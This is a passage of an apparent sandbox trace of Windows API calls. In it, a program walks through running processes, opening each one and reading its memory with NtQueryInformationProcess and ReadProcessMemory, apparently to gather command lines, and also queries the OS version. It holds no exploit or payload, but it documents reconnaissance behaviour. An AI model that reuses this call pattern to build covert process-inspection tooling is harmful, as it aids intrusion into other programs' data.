lpBaseAddress=0x53197c, lpBuffer=0x196ef0d5a00, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d5a00*, lpNumberOfBytesRead=0x0) returned 1 [0244.858] free (_Block=0x196ef0d5a00) [0244.859] CloseHandle (hObject=0x464) returned 1 [0244.859] _ui64tow_s (in: _Value=0xe00, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3584") returned 0x0 [0244.864] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3584") returned 4 [0244.866] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0244.866] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0245.093] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe00) returned 0x300 [0245.093] GetLastError () returned 0x0 [0245.093] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0245.093] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x212018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0245.094] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.094] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x591cf0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0245.094] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5918f8, lpBuffer=0x67117c450, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0245.095] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0245.096] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0245.096] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x212020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0245.096] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5912e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0245.097] malloc (_Size=0x72) returned 0x196ef0d31b0 [0245.097] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x591962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0245.097] free (_Block=0x196ef0d31b0) [0245.098] CloseHandle (hObject=0x300) returned 1 [0245.099] _ui64tow_s (in: _Value=0xe10, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3600") returned 0x0 [0245.103] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3600") returned 4 [0245.104] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.104] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0245.143] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe10) returned 0x300 [0245.143] GetLastError () returned 0x0 [0245.143] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0245.143] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x302018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0245.143] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.143] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x191cc0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0245.144] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1918f8, lpBuffer=0x67117c450, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0245.145] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0245.146] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0245.146] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x302020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0245.147] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1912e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0245.147] malloc (_Size=0x64) returned 0x196ef0d0610 [0245.147] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x191954, lpBuffer=0x196ef0d0610, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0610*, lpNumberOfBytesRead=0x0) returned 1 [0245.148] free (_Block=0x196ef0d0610) [0245.149] CloseHandle (hObject=0x300) returned 1 [0245.150] _ui64tow_s (in: _Value=0xe18, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3608") returned 0x0 [0245.155] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3608") returned 4 [0245.157] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.157] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0245.173] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe18) returned 0x300 [0245.173] GetLastError () returned 0x0 [0245.173] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0245.173] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x36b018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0245.174] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.174] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x451d80, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0245.174] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4518f8, lpBuffer=0x67117c450, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0245.175] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0245.180] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0245.180] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x36b020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0245.180] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4512e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0245.181] malloc (_Size=0xa2) returned 0x196ef0fa210 [0245.181] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x451992, lpBuffer=0x196ef0fa210, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa210*, lpNumberOfBytesRead=0x0) returned 1 [0245.181] free (_Block=0x196ef0fa210) [0245.182] CloseHandle (hObject=0x300) returned 1 [0245.183] _ui64tow_s (in: _Value=0xe28, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3624") returned 0x0 [0245.187] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3624") returned 4 [0245.188] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.188] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0245.204] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe28) returned 0x300 [0245.204] GetLastError () returned 0x0 [0245.204] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0245.204] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x470018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0245.205] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.205] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1f1d40, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0245.205] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1f18f8, lpBuffer=0x67117c450, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0245.206] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0245.207] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0245.207] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x470020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0245.207] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1f12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0245.208] malloc (_Size=0x8c) returned 0x196ef0d6180 [0245.208] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1f197c, lpBuffer=0x196ef0d6180, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d6180*, lpNumberOfBytesRead=0x0) returned 1 [0245.208] free (_Block=0x196ef0d6180) [0245.209] CloseHandle (hObject=0x300) returned 1 [0245.210] _ui64tow_s (in: _Value=0xe30, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3632") returned 0x0 [0245.214] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3632") returned 4 [0245.215] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.215] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0245.242] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe30) returned 0x300 [0245.242] GetLastError () returned 0x0 [0245.242] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0245.242] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x32e018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0245.243] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.243] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5d1ce0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0245.243] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5d18f8, lpBuffer=0x67117c450, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0245.244] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0245.245] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0245.245] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x32e020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0245.245] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5d12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0245.246] malloc (_Size=0x6e) returned 0x196ef0d31b0 [0245.246] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5d195e, lpBuffer=0x196ef0d31b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0245.246] free (_Block=0x196ef0d31b0) [0245.247] CloseHandle (hObject=0x300) returned 1 [0245.247] _ui64tow_s (in: _Value=0xe40, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3648") returned 0x0 [0245.252] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3648") returned 4 [0245.253] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.253] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0245.281] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe40) returned 0x300 [0245.281] GetLastError () returned 0x0 [0245.282] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0245.282] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x35b018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0245.282] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.282] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4e1ca0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0245.282] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4e18f8, lpBuffer=0x67117c450, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0245.283] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0245.285] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0245.285] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x35b020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0245.285] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4e12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0245.285] malloc (_Size=0x5a) returned 0x196ef0d03e0 [0245.285] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4e194a, lpBuffer=0x196ef0d03e0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.286] free (_Block=0x196ef0d03e0) [0245.286] CloseHandle (hObject=0x300) returned 1 [0245.287] _ui64tow_s (in: _Value=0xe48, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3656") returned 0x0 [0245.291] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3656") returned 4 [0245.293] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.293] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0245.310] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe48) returned 0x300 [0245.310] GetLastError () returned 0x0 [0245.323] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0245.323] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4b4018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0245.323] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.323] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x2f1d00, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0245.324] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x2f18f8, lpBuffer=0x67117c450, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0245.325] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0245.326] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0245.326] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4b4020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0245.326] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x2f12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0245.327] malloc (_Size=0x76) returned 0x196ef0d2120 [0245.327] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x2f1966, lpBuffer=0x196ef0d2120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0245.327] free (_Block=0x196ef0d2120) [0245.328] CloseHandle (hObject=0x300) returned 1 [0245.329] _ui64tow_s (in: _Value=0xe54, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3668") returned 0x0 [0245.336] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3668") returned 4 [0245.338] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.338] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0245.392] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe54) returned 0x300 [0245.392] GetLastError () returned 0x0 [0245.392] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0245.392] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x541018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0245.393] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.393] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7d1cb0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0245.393] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7d18f8, lpBuffer=0x67117c450, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0245.395] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0245.396] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0245.396] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x541020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0245.396] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7d12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0245.396] malloc (_Size=0x60) returned 0x196ef0d06f0 [0245.396] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7d1950, lpBuffer=0x196ef0d06f0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d06f0*, lpNumberOfBytesRead=0x0) returned 1 [0245.397] free 